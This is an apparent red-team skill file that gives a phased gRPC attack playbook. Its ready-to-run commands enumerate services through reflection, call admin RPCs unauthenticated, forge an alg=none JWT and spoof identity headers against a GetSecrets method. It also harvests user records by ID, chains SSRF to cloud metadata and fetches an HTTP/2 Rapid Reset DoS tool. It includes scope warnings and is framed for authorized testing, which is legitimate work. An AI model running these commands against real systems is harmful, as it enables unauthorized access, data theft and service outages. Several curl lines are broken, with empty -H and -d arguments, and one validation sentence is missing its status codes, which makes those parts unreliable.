| name | hunt-grpc |
| description | Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway transcoding injection, and HTTP/2 Rapid Reset DoS (CVE-2023-44487). Use when target exposes port 50051 / 443 / 8443 / 9090 with HTTP/2, when grpcurl/grpcui detects reflection, when an Envoy or grpc-gateway proxy is fronting a microservice, or when recon reveals a microservice architecture. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| category | redteam |
| tags | ["grpc","hunt","redteam"] |
HUNT-GRPC — gRPC Security
Crown Jewel Targets
gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.
Highest-value findings:
- Reflection enabled in production —
grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
- Missing auth on internal service — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
- Edge-auth-only / metadata-stripping — proxy authenticates the user but the backend re-trusts proxy-injected headers (
x-user-id, x-tenant-id, x-forwarded-*); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
- Plaintext gRPC — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
- HTTP/2 Rapid Reset DoS (CVE-2023-44487) — interleaved HEADERS + immediate RST_STREAM frames bypass
MAX_CONCURRENT_STREAMS accounting → resource exhaustion. DoS is in scope on almost no program — get explicit written authorization before sending a single burst.
Phase 1 — Fingerprint & Port Discovery
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"
curl --max-time 30 --connect-timeout 10 -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
-H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status
curl --max-time 30 --connect-timeout 10 -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
-H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"
grpc-status trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. UNIMPLEMENTED on a random path is normal and only confirms the transport — not a finding.
Phase 2 — Service Enumeration via Reflection
brew install grpcurl
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure $TARGET:443 list
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt
Reflection disabled? You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked .proto (Phase 5) and pass it with grpcurl -protoset bundle.bin .... Reflection-off is a hardening control, not a security boundary.
Phase 3 — Call Methods Without Authentication (authz testing)
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers
for ID in 1 2 3 100 1000 1001; do
echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
-d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done
Interpret the gRPC status code, not just whether bytes came back (see Validation):
OK + populated response → method executed unauthenticated → finding.
Unauthenticated (16) / PermissionDenied (7) → authz is enforced; NOT a finding.
Unimplemented (12) → wrong path / method not on this server.
InvalidArgument (3) → reached and parsed your input → method is callable; fix the payload and retry.
Phase 4 — Authentication / Trust-Boundary Bypass
grpcurl -plaintext $TARGET:50051 \
-H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
-d '{}' admin.AdminService/GetConfig
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
"x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
"x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
echo "== $H =="
grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
-d '{}' admin.AdminService/GetConfig
The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header directly to the backend port AND, separately, through the public proxy — if the proxy forwards your x-user-id unchanged to the backend, it is exploitable for real users, not just on the bypassed port.
Phase 5 — Proto File / Schema Discovery
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
S=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
[ "$S" != 404 ] && echo "Found: /$P ($S)"
done
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list
Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.
Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks
gRPC almost always reaches the browser through a transcoder: Envoy grpc_web/grpc_json_transcoder, grpc-gateway (REST↔gRPC), or Connect. These translators are the realistic external attack surface and frequently re-expose internal methods.
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
-H 'content-type: application/json' -d '{}'
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
-H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
--data-binary @frame.bin | xxd | head
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
-H -H \
-d
curl --max-time 30 --connect-timeout 10 -s \
-H -H \
-d
Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes AdminService or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns OK with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).
Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)
Authorization gate: DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.
The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a MAX_CONCURRENT_STREAMS slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. h2load/ghz are throughput benchmarkers; they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.
Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
./rapidreset --help
Detection without DoSing — prefer this: the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:
curl --max-time 30 --connect-timeout 10 -sI --http2 https://$TARGET/ | grep -i '^server:'
Report the version-confirmed mitigation gap rather than a benchmark slowdown. "Server got slower under load" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.
Tools
grpcurl
grpcui
protoc + protoscope
buf
Chain Table
| gRPC finding | Chain to | Impact |
|---|
| Reflection enabled | Enumerate all internal service methods + messages | Full API catalog disclosure (enabler) |
| Admin method, no auth | Call privileged RPCs (DeleteUser, GetConfig) | Data manipulation / system access — Critical |
Proxy forwards x-user-id/x-tenant-id unstripped | Spoof identity metadata → cross-tenant impersonation | Tenant isolation bypass — Critical |
| IDOR via enumerable id field | Iterate user_id over GetUser | Mass PII exfil — High |
| grpc-gateway / gRPC-Web route re-exposes internal RPC | Hit transcoded REST/JSON path unauth | Externally-reachable authz bypass — High/Critical |
| Plaintext h2c on internal port | MITM / sniff metadata (bearer tokens) | Credential capture — High |
.proto leak (repo/swagger) | -protoset to drive reflection-off target | Unlocks Phases 3–4 — Low alone, High as enabler |
Verification
Run this self-test to confirm grpc hunting readiness:
-
Skill integrity — confirm the skill file is readable and well-formed:
grep -q "name: hunt-grpc" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
-
Category check — confirm the skill has a category:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
-
Pitfalls section — confirm pitfalls are documented:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
- gRPC reflection enabled without sensitive methods — reflection is a design choice. Only report when it exposes internal/admin methods.
- No TLS on gRPC — plaintext gRPC on internal networks is common. Only a finding on public-facing services.
- gRPC-Web proxy bypass — the proxy translating gRPC-Web to gRPC may have different auth than the backend. Test both paths.
- Protobuf fuzzing without crash — malformed protobuf causing 500 is not necessarily exploitable. Need RCE or data leak from the crash.
Related Skills
hunt-idor — gRPC method calls with enumerable ID parameters (user_id, order_id, tenant_id) exhibit the same IDOR pattern as REST APIs. Chain primitive: reflection lists user.UserService/GetUser → grpcurl -d '{"user_id": 1}' returns user data → iterate IDs 1-10000 for mass PII exfil without auth.
hunt-api-misconfig — JWT alg=none, mass-assignment in protobuf message fields, and HTTP verb tampering all apply to gRPC-Web/grpc-gateway transcoded endpoints. Chain primitive: transcoded REST endpoint accepts X-HTTP-Method-Override: DELETE on a GET-only route → resource deletion.
hunt-auth-bypass — Edge-auth-only gRPC services where the proxy authenticates but the backend trusts proxy-injected headers. Chain primitive: x-user-id: 1 header injected into gRPC metadata → backend treats as authenticated admin → cross-tenant impersonation.
hunt-tls-network — Plaintext h2c gRPC on non-standard ports, ALPN negotiation analysis, and TLS version fallback. Chain primitive: gRPC on port 9090 with h2c (no TLS) → MITM on local network can read/send auth tokens in metadata.
hunt-ssrf — gRPC methods accepting URL/host parameters (webhook, import, proxy) are SSRF surfaces. Chain primitive: billing.BillingService/ProcessWebhook accepts webhook_url → set to http://[REDACTED_IP]/latest/meta-data/ → cloud metadata exfil.
hunt-cloud-misconfig — gRPC services that expose cloud resource management methods (CreateInstance, ListBuckets, InvokeFunction) through a public transcoder. Chain primitive: reflection finds cloud.CloudService/CreateInstance → grpc-gateway exposes /v1/cloud/instances → unauth cloud resource provisioning.
hunt-http-smuggling — HTTP/2 Rapid Reset (CVE-2023-44487) is relevant for gRPC-over-HTTP/2 stacks. Chain primitive: gRPC server behind nginx/Envoy → rapid reset floods bypass MAX_CONCURRENT_STREAMS → DoS on control plane.
security-arsenal — Reach for the gRPC service enumeration wordlist (common service names: UserService, OrderService, AdminService, AuthService, PaymentService), the protobuf payload templates, and the reflection probe payloads.
triage-validation — Apply the Status-Code Discrimination Gate: gRPC responses with grpc-status: 0 (OK) are confirmed findings; / mean auth works — close the candidate. Never claim "no auth" from a non-empty response body that may be an error frame.
Related skills: hunt-idor (id enumeration logic), hunt-api-misconfig (JWT alg=none / mass-assignment in request messages), hunt-auth-bypass (edge-vs-backend trust boundary), hunt-tls-network (h2c/plaintext + ALPN), cloud-iam-deep (if a called RPC returns cloud creds).
Validation — false-positive discipline
gRPC's failure modes look like successes to a naive grep. Apply these gates before any submission.
-
Status-code discrimination, not byte-counting. A non-empty response can still be an error frame. Confirm the grpc-status trailer is 0 (OK). Unauthenticated (16) / PermissionDenied (7) mean auth WORKS — close the candidate. Unimplemented (12) means you have the wrong method. Re-run with grpcurl -v and read the trailers explicitly.
-
Reflection / health endpoints are often intentionally public. grpc.reflection.* and grpc.health.v1.Health being reachable is, by itself, info disclosure (Low/Medium at most) — many vendors ship reflection on by design. Do NOT report it as "missing auth" unless it leaks a non-public service catalog. The finding is the sensitive service you can then call without auth, proven in Phase 3.
-
Distinguish "no auth" from "auth not required for THIS method." Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated state delta: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).
-
Proxy-vs-backend reachability. A bug reachable only by hitting an internal :50051 you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.
-
OOB / Collaborator for anything blind. If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to hunt-ssrf.
-
DoS is authorization-gated and version-verifiable. Never submit CVE-2023-44487 off a benchmark "slowdown." Either (a) version-match an unpatched HTTP/2 stack from the server: banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.
Severity guide (after the gates above pass):
- Sensitive/admin RPC callable with no auth, side-effect proven → Critical
- Proxy-forwarded metadata spoofing → cross-tenant impersonation → Critical
- IDOR / mass PII via enumerable RPC → High
- Internal service externally reachable (transcoder or open port) → High
- Plaintext h2c leaking bearer metadata → High
- Reflection enabled exposing non-public catalog → Medium (enabler)
- Proto/descriptor leak, no callable sensitive method → Low